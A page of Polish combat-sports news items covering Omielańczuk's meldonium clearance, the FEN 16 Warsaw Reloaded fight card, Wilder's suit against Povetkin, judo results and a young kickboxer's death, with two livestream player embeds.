W ubiegłym roku w organizmie Daniela Omielańczuka wykryto meldonium. Zawodnik UFC podkreślał, że stosował środek we wrześniu 2015 roku, kiedy specyfik nie był zakazany. W końcu Amerykańska Komisja Antydopingowa uwolniła polskiego zawodnika wagi ciężkiego od zarzutu stosowania niedozwolonej substancji.

Meldonium stało się przekleństwem wielu sportowców. Jeszcze w 2015 mogli je stosować w celach leczniczych, jednak wraz z dniem 1 stycznia 2016 roku wpisano je na listę środków zakazanych. Bohaterką największej afery związanej ze stosowaniem meldonium była tenisistka Maria Szarapowa. Problemy dotknęły również reprezentującego Polską zapaśnika Magomedmurada Gadżijewa, którego występ na Igrzyskach Olimpijskich w Rio de Janeiro stanął pod znakiem zapytania. Ostatecznie mistrz Europy pojechał do Brazylii. W lipcu ubiegłego roku gruchnęła wiadomość, że specyfik stosował Daniel Omielańczuk.

Od początku pewny swego

Od początku sprawy 34-letni zawodnik zachowywał spokój, choć zapewne nie było to łatwe. Omielańczuk ze szczegółami podawał, kiedy przyjmował meldonium i w jakim celu. Wynik pozytywny dała próbka B z 21 stycznia 2016 roku, a więc trzy tygodnie po wpisaniu substancji na listę zakazanych. – Zawsze sprawdzamy wszystkie środki i leki pod kątem substancji zakazanych. Zawsze chętnie i z czystym sumieniem poddaję się kontroli antydopingowej. W pełni popieram politykę antydopingową UFC i USADA i cieszę się, że próbuje się wyrzucić oszustów z naszego sportu. Sam jednak nie mam sobie nic do zarzucenia, ponieważ miałem medyczne uzasadnienie do przyjmowania legalnego wówczas środka – tłumaczył wtedy zawodnik. 

Cała sytuacja nie miała wpływu na karierę 34-letniego fighter, który 13 lipca na UFC Fight Night 91 pokonał mocnego Alexeya Olejnika. Było to trzecie zwycięstwo z rzędu Omielańczuka, a czwarte podczas przygody z UFC. W kolejnym starciu Polak przegrał ze Stefanem Struve.

W końcu Omielańczuk został oczyszczony z zarzutu o stosowanie zakazanych substancji. Teraz już nikt nie może mieć żadnych wątpliwości, co do „czystości” polskiego wojownika. – Jakiś czas temu świat obiegła informacja o zażywaniu przeze mnie meldonium. Amerykańska Komisja Antydopingowa po zapoznaniu się z moimi wyjaśnieniami i historią medyczną uwolniła mnie od zarzutu stosowania niedozwolonej substancji. Meldonium potrzebne było w celach medycznych i w okresie, kiedy nie było zakazane.  Gdy tylko okazało się, że zostanie wprowadzone na listę środków zakazanych, zmieniliśmy rodzaj terapii. Zawsze z czystym sumieniem poddaje się kontroli antydopingowej i to się nie zmieni – napisał 34-latek na swoim facebooku.

Czeka na piąte zwycięstwo

18 marca w Londynie Daniel Omielańczuk będzie miał kolejną szansę, żeby wznieść ręce w geście triumfu. Podczas gali UFC Fight Night 107 zmierzy się z Timothy'm Johnsonem. Blisko rok temu Amerykanin pokonał Marcina Tyburę, ale w ostatnim starciu musiał uznać wyższość Alexandra Volkova.

KM

FEN 16 Warsaw Reloaded bez walki Hadaś vs Grzebyk

Nie dojdzie do skutku zaplanowana na 11 marca walka o tytuł mistrzowski w kategorii średniej między Andrzejem Grzebykiem a Pawłem Hadasiem. Przyczyną anulowania pojedynku są sprawy osobiste zawodnika z Rzeszowa. Zamiast nich na gali FEN 16 Warsaw Reloaded wystąpi Bartłomiej Kopera, który zmierzy się z rywalem z zagranicy.

Andrzej Grzebyk poinformował zarząd federacji FEN, że z ważnych powodów osobistych nie może bić się na gali FEN 16 Warsaw Reloaded. Po przeanalizowaniu sprawy argumenty przedstawione przez zawodnika Legion Team Tarnów zostały przyjęte. Jednocześnie zarzaduznał, że nie będzie poszukiwany nowy rywal dla Pawła Hadasia. Zawodnik otrzymał propozycję interesującej pod względem sportowym walki trzy tygodnie później podczas zawodów w rodzinnym Chorzowie i włodarze FEN wyrazili zgodę na jego występ przed własną publicznością.

Paweł Hadaś, który nadal jest związany kontraktem z organizacją Fight Exclusive Night, z pewnością jeszcze w tym roku pojawi się w klatkoringu FEN. Wstępnie jego walka planowana jest podczas jesiennej gali.

Zamiast starcia Andrzeja Grzebyka z Pawłem Hadasiem kibice na Torwarze obejrzą walkę z udziałem jednego z najlepszych polskich piórkowych, niepokonanego od blisko trzech lat Bartłomieja Kopery (24 lata, 175 cm, 8-2, 6 SUB). Łodzianin od marca 2014 wygrał sześć walk z rzędu, z czego dwie ostatnie w organizacji FEN – na gali FEN 11 Warsaw Time jednomyślną decyzją sędziów pokonał Sebastiana Kotwicę, a na gali FEN 13 Summer Edition poddał w pierwszej rundzie Nikodema Szymańskiego. Rywalem Kopery podczas FEN 16 Warsaw Reloaded będzie zawodnik z zagranicy, a jego nazwisko zostanie ogłoszone w ciągu kilku dni.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

LIVE: Gala Pałuska Kickboxing Night 3

Zapraszamy na transmisję telewizyjną na żywo z gali Pałuska Kickboxing Night 3. Organizatorem gali jest klub Panzer Suwałki. Start gali sobota 11 luty godz. 19.00.

[kod]

Gala Pałuska Kickboxing Night 3

Gala Pałuska Kickboxing Night 3

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PanzerSuwalki2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PanzerSuwalki2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PanzerSuwalki2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PanzerSuwalki2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 16 Warsaw Reloaded – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 16 Warsaw Reloaded.

[kod]

FEN 16 Warsaw Reloaded Trening Medialny

FEN 16 Warsaw Reloaded Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Wilder bije się o 5 milionów

Ale nie na ringu, tylko w sądzie. Rusza proces, w którym Deontay Wilder oskarża Aleksandra Powietkina o stratę 5 milionów dolarów.

Przyszłość rosyjskiego pięściarza stoi pod znakiem zapytania. Wszystko przez jego przygody z zakazanymi środkami. Gdyby tego było mało, do akcji wkroczył Wilder.

Hit tylko na papierze

21 maja 2016 roku na ringu w Moskwie Deontay Wilder miał stanąć do kolejnej obrony mistrzowskiego pasa WBC w wadze ciężkiej. Wyzwanie rzucił mu Aleksander Powietkin. 37-letni dziś Rosjanin to były czempion WBA, który rywalizował z samym Władimirem Kliczko. Przez lata uchodził za pięściarza o ogromnych możliwościach. W maju miał szansę stoczyć kolejną mistrzowską walkę, ale ją zaprzepaścił. Początkowo pojedynek Rosjanina z Wilderem został przełożony, a następnie odwołany.

W organizmie popularnego „Saszy” wykryto meldonium, czyli specyfik, który stał się źródłem kłopotów dla wielu sportowców. Warto przypomnieć, że substancja znalazła się na liście zakazanych wraz z początkiem 2016 roku. Można by tłumaczyć Powietkina, że pewnie używał meldonium wcześniej i tylko w celach leczniczych, ale… No właśnie i tu pojawia się problem. Rosjanina przebadano 7, 8 i 11 kwietnia, wszystkie próbki wskazywały, że jest „czysty”. Jednak 27 kwietnia sytuacja była zgoła odmienna. Wynik badania był pozytywny – Rosjanin został przyłapany na stosowaniu dopingu.

Gdyby tego było mało, w grudniu Powietkin zaliczył kolejną dopingową wpadkę. Przed starciem z Bermanem Stivernem, w organizmie 37-latka wykryto zakazaną ostarynę. Co istotne, Rosjanin walczył w grudniu, ale nie ze Stivernem. W Jekaterynburgu zmierzył się z Johannem Duhaupasem, którego ciężko poturbował. Rosjanin oczekuje na decyzję WBC, która może go zdyskwalifikować za przyjmowanie niedozwolonych środków.

Do akcji wkroczył również Deontay Wilder. Mistrz świata WBC przygotowywał się do starcia z Rosjaninem, które miało być jednym z najciekawszych walk ostatnich lat. O pojedynku mówiło się wiele, ale wpadka dopingowa „Saszy” przekreśliła wszystko. Wilder wycenia swoje straty na 5 milionów dolarów. Sprawą zajmie się sąd. Obrońca Rosjanina będzie starał się przedstawić argumentację, która pozwoli wyjść jego klientowi zwycięsko z tej batalii. Zwraca się uwagę na fakt, że meldonium może występować w moczu nawet do roku. Czy Powietkin wyjdzie cało z tego starcia?

Dwa tygodnie do walki

Sprawa sądowa będzie toczyła się swoim torem, a Deontay Wilder szlifuje formę przed starciem z Geraldem Washingtonem, które odbędzie się 25 lutego na gali w Legacy Arena w Birmingham. To będzie piąta obrona tytułu dla 31-letniego pięściarza.

Pierwotnie o pas WBC miał boksować Andrzej Wawrzyk, jednak w jego organizmie wykryto niedozwolone środki. Sprawa jest wyjaśniana.

KM

Polacy tłem dla rywali

Za nami weekend z zawodami European Judo Open. Japonki najlepsze w Sofii, a Francuzi w Odivelas. Polacy nie zachwycili.

Po zimowej przerwie judocy wrócili na tatami. Czekamy na pierwsze medalowe występy biało-czerwonych. Polacy startowali w Bułgarii i Portugalii, ale szybko odpadali z rywalizacji.

Dwie w Sofii

W Bułgarii wystąpiło 141 zawodniczek z 22 krajów. Najliczniej była obsadzona kategoria 52kg, gdzie zaprezentowało się 28 judoczek. W tym gronie znalazła się również Agata Perenc. 26-letnia Polka, która zajmuje 34. miejsce w światowym rankingu ubiegłoroczne starty zaczęła od 3. miejsca w Tunisie. Dwa lata temu była na najniższym stopniu w Oberwart. Po raz trzeci nie udało się wejść z sukcesem w sezon. 

W Sofii Perenc stoczyła zaledwie dwa pojedynki. Na początek szybko uporała się z Turczynką Damlą Caliskan i wygrała przez ippon. Trudne warunki Polce postawiła Galiya Sagitova. Rosjanka zanotowała waza-ari, ostatecznie zakończyła zmagania na siódmej pozycji.

Drugą z naszych zawodniczek startujących w Sofii była Julia Kowalczyk (57kg). W ubiegłym roku 19-latka stanęła na trzecim miejscu podium na mistrzostwach Europy juniorów. Wystąpiła również w dwóch zawodach na poziomie seniorskim. W Sarajewie doszła do ćwierćfinału, zaś w Warszawie odpadła po dwóch pojedynkach. Zmagania w Sofii również zakończyła na drugiej walce. Rywalizację w Bułgarii Polka rozpoczęła od zdecydowanej wygranej z Tugbą Zehir. 19-letnia judoczka triumfowała przez ippon, ale w kolejnej walce w ten sam sposób… przegrała. Lepsza od Kowalczyk okazała się Sarah Harachi, która ostatecznie zajęła trzecie miejsce.

Rywalizację w Bułgarii zdominowały zawodniczki z Japonii, które zdobyły pięć złotych medali. Dołożyły do tego trzy srebra i dwa brązy.

Szybka przygoda

Bez rewelacji również nasza męska część kadry. Sześciu zawodników startowało w Portugalii, jednak żaden z nich nie otarł się o podium. Łącznie w Odivelas zaprezentowało się 220 judoków.

W kategorii 60kg wystąpili Adrian Wala i Bartłomiej Garbacik. Pierwszy z nich w ubiegłym roku zajął 3. miejsce w Pucharze Europy w Dubrowniku, a w Tallinie był piąty. Rywalizację w Portugalii rozpoczął od zwycięstwa z Nicolasem Gomezem, którego zdominował w całości. Cedric Revol zawiesił Polakowi wysoko poprzeczkę i wygrał przez ippon. Z kolei Garbacik przegrał z Joshuą Katzem przez… dwie kary shido.

21-letni Patryk Wawrzyczek w kategorii 66kg pożegnał się z rywalizacją po pierwszej walce. Tak samo jak Wiktor Mrówczyński (73kg). Z kolei Tomasz Szczepaniak (90kg) i Kamil Niedziela (100kg) wygrali po jednej walce.

Najlepsi w Odivelas okazali się Francuzi, ale kroku dotrzymywali im Rosjanie. Trójkolorowi wywalczyli dziewięć medali, w tym dwa złote i dwa srebrne. O ich pierwszeństwie w klasyfikacji medalowej zdecydowała ilość brązowych krążków. Francuzi zdobyli ich pięć, a Rosjanie tylko jeden (razem pięć medali: dwa złote, dwa srebrne i brąz).

KM

Paweł Pawlak vs Ireneusz Szydłowski na karcie walk FEN 16 Warsaw Reloaded

Były zawodnik UFC Paweł Pawlak oraz autor najlepszego nokautu gali FEN 13 Ireneusz Szydłowski 11 marca ponownie wejdą do klatkoringu Fight Exclusive Night, by zmierzyć się ze sobą w jednej z najciekawszych walk MMA podczas FEN 16 Warsaw Reloaded na Torwarze.

Paweł Pawlak (28 lat, 182 cm, 11-3) to jeden z niewielu polskich zawodników, którzy podpisali kontrakt z UFC. Jego przepustką do oktagonu amerykańskiego giganta była efektowna seria 10 zwycięstw z rzędu, od których łodzianin rozpoczął swoją zawodową karierę. W UFC "Plastinho" stoczył trzy walki – pokonał Kanadyjczyka Sheldonem Westcottem, ale przegrał z Niemcem Peterem Sobottą i Leonem Edwardsem z Anglii, co przekreśliło jego szanse na przedłużenie przygody z tą organizacją. Po powrocie do Polski Pawlak związał się z federacją FEN i wiosną ubiegłego roku zadebiutował na gali FEN 12 Feel The Force we Wrocławiu. Pojedynek z Igorem "Chatubinhą" Fernandesem nie poszedł jednak po jego myśli – łodzianin nie wytrzymał kondycyjnie i jednogłośną decyzją sędziów wygrał Brazylijczyk. "Plastinho" wyciągnął wnioski z tych niepowodzeń: ostro pracował nad formą, wyleczył wszystkie kontuzje i dziś jest stuprocentowo gotów na to, by na FEN 16 Warsaw Reloaded powrócić na ścieżkę zwycięstw.

Ireneusz Szydłowski (43 lata, 181 cm, 6-1), mimo że jest o 15 lat starszy i ma na koncie o połowę mniej walk, z pewnością będzie dla Pawlaka trudnym przeciwnikiem. Pochodzący z Trójmiasta weteran jest żywym dowodem na to, że nigdy nie jest za późno na realizację pasji i marzeń. Regularne uprawianie sportów walki – zanim wybrał MMA, trenował boks, K-1 oraz BJJ – rozpoczął dopiero po trzydziestce, ale ciężka praca przynosi świetne efekty. Reprezentant Baltic MMA Fighters Gdańsk w siedmiu zawodowych walkach MMA przegrał tylko raz – i to niejednogłośną decyzją sędziów – z Anglikiem Shaunem "The Legend" Lomasem. W debiucie w Fight Exclusive Night na ubiegłorocznej gali FEN 13 Summer Edition Szydłowski zaimponował, pokonując w drugiej rundzie faworyzowanego Bartosza „Hulka” Chyrka. Akcja, rozpoczęta potężnym front-kickiem na wątrobę, po której leżącego już na deskach rywala zasypał gradem ciosów, przyniosła mu nie tylko szóste zwycięstwo w karierze, ale i bonus za najlepszy nokaut wakacyjnej gali w Gdyni.

FEN 16 Warsaw Reloaded to druga gala federacji Fight Exclusive Night w Warszawie. W walkach o pas mistrzowskie w formule MMA zmierzą się Paweł Hadaś z Andrzejem Grzebykiem w kategorii średniej oraz Paweł Żelazowski z Kamilem Gniadkiem w kategorii półśredniej, a main eventem gali będzie starcie MMA Kamila Łebkowskiego z Brazylijczykiem Gabrielem Silvą. W fight cardzie znalazł się też pojedynek MMA Michała Oleksiejczuka z Włochem Riccardo Nosiglią oraz walka K-1 Arkadiusza Wrzoska z Arturem Bizewskim.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Silva vs Łebkowski w walce wieczoru FEN 16 Warsaw Reloaded

Niepokonany w zawodowym ringu Gabriel „Gabito” Silva będzie przeciwnikiem najlepszego polskiego „piórkowego” Kamila „Bomby” Łebkowskiego w walce wieczoru gali FEN 16 Warsaw Reloaded. 11 marca na Torwarze młodego Brazylijczyka z narożnika wspierać będzie jego walczący w UFC brat Erick "The Tiger" Silva.

22-letni Gabriel „Gabito” Silva (6-0, 2 KO, 2 SUB) to jeden z najbardziej perspektywicznych zawodników z Brazylii, któremu eksperci wróżą w niedalekiej przyszłości debiut w oktagonie UFC. Mimo młodego wieku utalentowany „Gabito” jest już posiadaczem czarnego pasa w brazylijskim jiu-jitsu i mistrzem stanu Espirito Santo w zapasach. Aktualnie jest również numer 1 w rankingu kickbokserów tego stanu. Obserwatorzy brazylijskiej sceny MMA podkreślają przede wszystkim jego wszechstronność, dobre wyszkolenie techniczne i inteligentny styl walki. Do walki z Kamilem Łebkowskim Gabriel Silva przygotowuje się w Tiger’s Den MMA Gym w rodzinnym mieście Vila Velha, powstałym na bazie szkoły Erick Silva Pro Fight Academia, gdzie trenuje nie tylko ze swoim bratem, ale też z byłą gwiazdą organizacji Pride i UFC, Japończykiem Akihiro Gono. Walka na gali FEN 16 Warsaw Reloaded będzie jego pierwszym zagranicznym, a jednocześnie najważniejszym występem w karierze – z dotychczasowych swoich pojedynków za najlepszy uważa starcie z Viniciusem Baraldo na gali Jungle Fight 50, które wygrał nokautującymi ciosami w parterze już w 28. sekundzie walki.

Dla 29-letniego Kamila „Bomby” Łebkowskiego (15-4, 8 KO, 2 SUB) walka z Gabrielem Silvą będzie drugą w klatkoringu Fight Exclusive Night. W debiucie na gali FEN 13 Summer Edition, uznanym za jedno z najważniejszych wydarzeń polskiego MMA w 2016 roku, odniósł bezapelacyjne zwycięstwo nad byłym zawodnikiem UFC Piotrem Hallmannem. Było to dziesiąte zwycięstwo z rzędu reprezentanta klubu Dziki Wschód Biała Podlaska, który ostatniej porażki doznał blisko cztery lata temu. W ubiegłym roku zapisał on na swoim koncie jeszcze inny spektakularny sukces – wpisał się do historii jako pierwszy zawodnik z Polski, który nie tylko walczył, ale i wygrał na arenie World Series of Fighting, jednej z głównych organizacji MMA na świecie. „Bomba” na gali WSOF Global Championship 2 w Tokio uciszył miejscową publiczność, potężnym podbródkowym w 4. minucie pierwszej rundy powalając Japończyka Yoshihiro Koyamę.

11 marca podczas FEN 16 Warsaw Reloaded na Torwarze kibiców czekają też dwie walki o tytuły mistrzowskie FEN w formule MMA: Andrzeja Grzebyka z Pawłem Hadasiem o pierwszy w historii pas w kategorii średniej oraz Pawła Żelazowskiego z Kamilem Gniadkiem o pas w wadze półśredniej. Bardzo inetersująco zapowiadają się także walki K-1 Michała Oleksiejczuka z Włochem Riccardo Nosiglią, Artura Bizewskiego z Arkadiuszem Wrzoskiem oraz pojedynki z udziałem Radosława PaczuskiegoMarcina Szredera.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Przestraszył się rywala? Złamany nos wymówką?

25 lutego w Teksasie Miguel Cotto miał zmierzyć się z Jamesem Kirklandem, jednak do pojedynku nie dojdzie. Amerykanin złamał nos, ale Portorykańczyk ma wątpliwości, czy jego niedoszły rywal nie symuluje urazu.

Zdarza się, że na ostatniej prostej bokser wypada z karty walk z powodu kontuzji. Rozpoczyna się poszukiwanie zastępcy, czemu towarzyszy pośpiech i nadzieja, że uda się wszystko zapiąć na ostatni guzik. Nie w tym wypadku… Gala w Teksasie została odwołana. Miguel Cotto musi szukać kolejnego rywala, bo bardzo chce wejść do ringu. Po raz ostatni walczył w listopadzie 2015 roku.

Kirkland udaje?

Taką teorię wysnuł 36-letni Cotto. Portorykańczyk oczekuje, że rywal zaprezentuje dowody, które przedstawią jego niedyspozycję. – Decyzja jest zrozumiała, jeśli doszło do kontuzji. Chciałabym, żeby Kirkland i jego team przedstawili dowody, które potwierdzą złamanie nosa – powiedział Cotto.

Portorykańczyk jest rozczarowany, bo przez kilkanaście tygodni przygotowywał się intensywnie do lutowego starcia. Teraz może usiąść wygodnie i czekać. Sytuacja nie rozwija się po myśli Cotto, który jest u schyłku kariery, o czym sam mówił. 36-latek planuje zakończyć przygodę z boksem w 2017 roku. Podkreśla, że nadszedł moment, w którym należy skupić się na rodzinie.

Mówiło się, że prawdopodobnie Cotto stoczy jeszcze dwa pojedynki. 25 lutego miał stanąć do rywalizacji z Kirklandem, jednak sytuacja skomplikowała się. 32-letni Amerykanin zrezygnował z rywalizacji z powodu kontuzji nosa. Ringowe dokonania Kirklanda mogą imponować, bo aż 28 z 32 walk zakończył przed czasem. Ostatnio, 9 maja 2015 roku, przegrał przez nokaut z Saulem Alvarezem. Od tamtego czasu nie walczył. Z pewnością pojedynek Amerykanina i Portorykańczyka mógłby dostarczyć wrażeń, jednak trzeba obejść się smakiem.

Co ciekawe, Cotto w swojej ostatniej walce poległ z Alvarezem. Na szali pojawił się pas mistrza świata WBC w kategorii średniej. Sędziowie jednogłośnie wskazali na Meksykanina.

Kto rywalem Cotto?

Wśród potencjalnych rywali Cotto pojawiło się nazwisko Juana Manuela Marqueza. Po raz ostatni Meksykanin walczył ponad dwa lata temu. W hali Forum w Inglewood pokonał Mike'a Alvarado. Swego czasu 43-letni Marquez brylował na ringu i zdobywał tytuły mistrzowskie w wadze junior półśredniej, lekkiej, piórkowej oraz junior lekkiej. Dawno nie prezentował się w ringu, więc trudno ocenić jego formę. Cotto nie wyklucza starcia z Meksykaninem, jednak stawia sprawę jasno. Liczą się pieniądze. 36-letni Portorykańczyk podkreśla, że przez czas, który został mu do zakończenia kariery chce zarobić jak najwięcej. 

Z pewnością gwarancją realizacji celu dla Cotto byłoby rewanżowe starcie z Saulem Alvarezem. Portorykańczyk zaznaczył swoją gotowość do rywalizacji z 26-latkiem. 6 maja Alvarez zmierzy się z Julio Cesarem Chavezem Jr., a później możliwe, że dojdzie do jego walki z Giennadijem Gołowkinem. Czy Cotto ma szansę, żeby wpasować się w kalendarza Meksykanina? Przewijają się informacje, że może w grudniu. Pożyjemy, zobaczymy.

KM

Tragiczna śmierć młodego kickboxera

Śmierć zawsze jest ogromnym przeżyciem dla tych, którym przychodzi się z nią zmierzyć. Strata bliskiej osoby jest niezwykle bolesna, a pogodzenie się z jej odejściem bardzo trudne. Dotarła do nas niezwykle smutna informacja. W wieku 17 lat zmarł Jakub Szczęsny, który odnosił sukcesy w kickboxingu.

W takich chwilach rodzi się tylko jedno pytanie: dlaczego. Zwłaszcza, że chodzi o młodego i mającego całe życie przed sobą chłopaka, który miał ogromną pasję i talent. Urońmy łzę i zawsze o nim pamiętajmy.

Jakub Szczęsny trenował w klubie FC Knurów. Zapowiadał się na niezwykle ciekawego zawodnika, który od najmłodszych lat przejawiał niezwykły potencjał. Wielka kariera stała u jego stóp…

Szczęsny zapisał na swoim koncie potrójne mistrzostwo Polski Federacji UFR. Oprócz kickboxingu, uprawiał również taekwondo, w którym odnosił sukcesy. W 2014 roku wywalczył złoty medal Otwartych Mistrzostw Holandii. Największym osiągnięciem w jego karierze było zdobycie mistrzostwa świata w kickboxingu. Po najwyższy laur sięgnął w październiku we Włoszech na Zunifikowanych Mistrzostwach Świata UWCh.

Konsekwentnie realizował swoją pasję i odnosił sukcesy. W takich chwilach trudno cokolwiek napisać… Gdy odchodzi tak młody człowiek, przychodzi refleksja nad tym, że w życiu trzeba cieszyć się obecnością bliskich każdego dnia.

Śmierć zawodnika wstrząsnęła całym klubem FC Knurów. – „Odszedł od nas” Jakub Szczęsny nasz klubowy kolega, wspaniały zawodnik Kickboxingu i Taekwondo. Wszyscy zapamiętamy go jako uśmiechniętego, wesołego i inteligentnego chłopaka z wyjątkowym zapałem do treningu. Łączymy się w bólu z rodziną Kuby – napisano na facebookowej stronie klubu.

Fot. FC Knurów Facebook

KM

Ladies Fight Night patronem żeńskich pojedynków na MAC – MMA Amator Cup

Już 11 lutego, w Łęcznej, zadebiutuje organizacja MAC konfrontująca zawodników chcących zapewnić sobie miejsce w reprezentacji Polski na Mistrzostwa Świata czy Europy w amatorskim MMA. Ladies Fight Night objęła patronatem walki kobiet podczas MMA AMATOR CUP i tym samym rozpoczęła współpracę z ligą sportową. Najlepsze zawodniczki mają szansę na kontrakt i debiut zawodowy podczas gal LFN. To kolejny krok organizacji, która wyraźnie zaznacza swoje miejsce na rynku kobiecego MMA.

Podczas pierwszego wydarzenia w Łęcznej będziemy świadkami 14 pojedynków toczonych na amatorskich zasadach MMA na dystansie 3 rund 3 minutowych. Każdy pojedynek będzie oparty na zasadach Uni Fight Rules. W karcie walk gali w Łęcznej znalazły się trzy żeńskie pojedynki.

Magdalena Albrecht – reprezentantka klubu BJJ Pankration Włodawa, wychowanka Marcina Poźniaka, zmierzy się z mniej doświadczoną reprezentantką klubu Górnik Łęczna MMA – Izabelą Walczak, która choć od niedawna trenuje MMA, na swoim koncie ma już tytuł Vice Mistrzyni Polski ALMMA – Amatorska Liga MMA. Będzie to starcie dwóch zawodniczek z Lubelszczyzny w kategorii słomkowej do 52 kg. W drugim pojedynku Aleksanda Rola, dwukrotna mistrzyni Polski ALMMA w kategori do 52 kg oraz posiadaczka  mistrzowskiego pasa federacji AFC zmierzy się z Natalią Matląg trenującą na co dzień w Szkole Walki Drwala, która będzie chciała zrewanżować się podczas MAC 1 za przegraną w Lublinie w ubiegłym roku. W podwyższonym limicie kategorii koguciej do 65 kg Adrianna Stańkowska zmierzy się z Nikoliną Sokołowską. Adrianna jest zawodniczką trenującą na co dzień w klubie BJJ Pankration Włodawa, zaś Nikola trenuje w MMA TEAM EŁK.

„Naszym celem od początku jest promocja kobiecego MMA, dlatego objęcie patronatem żeńskich pojedynków podczas MMA AMATOR CUP, gdzie występować będą najlepiej zapowiadające się polskie zawodniczki, to dla LFN naturalna droga. Cały czas poszukujemy młodych talentów i chcemy wspierać dziewczyny w rozwijaniu ich pasji a potem kariery zawodowej.” – mówi Łukasz Chmal, prezes organizacji Ladies Fight Night.

MAC to liga sportowa zrzeszająca zawodników amatorskiego MMA, sankcjonowana przez Polską Federację MMA (PFMMA). Podczas wydarzeń organizowanych przez MAC rywalizują tylko i wyłącznie amatorzy, chcący zdobyć doświadczenie przed karierą zawodową. Najlepsi zawodnicy walczą o miejsca w kadrze narodowej podczas Mistrzostw Świata w amatorkim MMA.

Ladies Fight Night jest pierwszą i jedyną w Europie żeńską organizacją sportów walki. Jak zapowiadają włodarze LFN zawodniczki, które najlepiej zaprezentują się podczas turniejów ligowych MAC i będą chciały rozpocząć karierę zawodową, mają otwartą drogę do współpracy z organizacją.

Oleksiejczuk vs Nosiglia na gali FEN 16 Warsaw Reloaded

Riccardo Nosiglia, który podczas gali FEN 15 Final Strike sensacyjnie pokonał Marcina Zontka, już 11 marca ponownie wystąpi w klatkoringu Fight Exclusive Night. Na gali FEN 16 Warsaw Reloaded na Torwarze rywalem włoskiego specjalisty od nokautów w pierwszych rundach będzie utalentowany polski prospekt Michał Oleksiejczuk.

Riccardo „The Walking Dead” Nosiglia (27 lat, 186 cm, 5-0), dwukrotny mistrz włoskiej organizacji Power Nation Fighting Championship w kategorii półciężkiej, to jedno z najnowszych odkryć federacji Fight Exclusive Night. Zawodnik Shoot Team Padwa, mimo że propozycję walki z Marcinem Zontkiem przyjął tydzień przed galą i po raz pierwszy walczył na tak dużej imprezie, w Lubinie zaprezentował się świetnie. Włoch szybko przejął inicjatywę, zdominował rywala i wygrał w stylu, który stał się już jego wizytówką – najpierw powalił  byłego pretendenta do pasa mistrzowskiego FEN na deski, a potem zasypał go gradem ciosów, po których sędzia przerwał pojedynek. Była to piąta zawodowa walka Nosiglii i jednocześnie piąta z rzędu, którą „The Walking Dead” skończył uderzeniami w parterze już w pierwszej rundzie.

Jego przeciwnik na gali FEN 16 Warsaw Reloaded, Michał „The Hammer” Oleksiejczuk (21 lat, 182 cm, 10-2), może pochwalić się jeszcze bardziej imponującą serią – reprezentant GKS Górnik Łęczna wygrał siedem kolejnych walk, pozostając niepokonanym od ponad dwóch lat. Jedno z tych zwycięstw odniósł na gali FEN 12 Feel The Force, wygrywając na punkty po ciężkim trzyrundowym boju ze szczecińskim Berserkerem Wojciechem Januszem. W ubiegłym roku Oleksiejczuk zdobył także, a później obronił tytuł mistrza lokalnej federacji Thunderstrike Fight League, pokonując Łukasza Borowskiego i Łukasza Klingera. Zdaniem ekspertów, „The Hammer” to jeden z tych młodych polskich fighterów MMA, którzy mają największe szanse na podpisanie w najbliższym czasie kontraktów z organizacją UFC.

FEN 16 Warsaw Reloaded będzie drugą galą organizacji Fight Exclusive Night w stolicy Polski. Federacja poinformowała wcześniej, że 11 marca na stołecznym Torwarze w walce wieczoru wystąpi najlepszy piórkowy polskiego MMA Kamil Łebkowski, a o pasy mistrzowskie FEN walczyć będą Paweł Żelazowski z Kamilem Gniadkiem w wadze półśredniej i Paweł Hadaś w kategorii średniej. W formule K-1 kibiców czeka starcie Artura Bizewskiego z Arkadiuszem Wrzoskiem oraz walki Marcina Szredera i debiutującego w FEN Radosława Paczuskiego.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Hadaś vs Grzebyk o pas na FEN 16 Warsaw Reloaded

Dwóch agresywnie i widowiskowo walczących zawodników zmierzy się na gali FEN 16 Warsaw Reloaded w walce o pierwszy w historii tytuł mistrza organizacji Fight Exclusive Night w MMA kategorii średniej – 11 marca na Torwarze rywalem Pawła Hadasia  będzie Andrzej Grzebyk.

Dla Andrzeja Grzebyka (26 lat, 187 cm, 10-3, 4 KO, 3 SUB) będzie to trzeci występ w organizacji FEN – w ostatniej walce na gali FEN 14 Silesian Rage przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem, a wcześniej na gali FEN 9 Go For It uległ minimalnie na punkty obecnemu zawodnikowi UFC Alessandro Di Chirico. Znany z bardzo ofensywnego stylu walki młody wojownik z Rzeszowa (aż 7 z 10 zwycięstw odniósł przez nokaut lub poddanie) pod koniec ubiegłego roku do swego bilansu dopisał jeszcze efektowny nokaut na gali Celtic Gladiator 11, ciosami w parterze rozbijając w pierwszej rundzie Irlandczyka z austriackim paszportem Floriana Herringera. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.

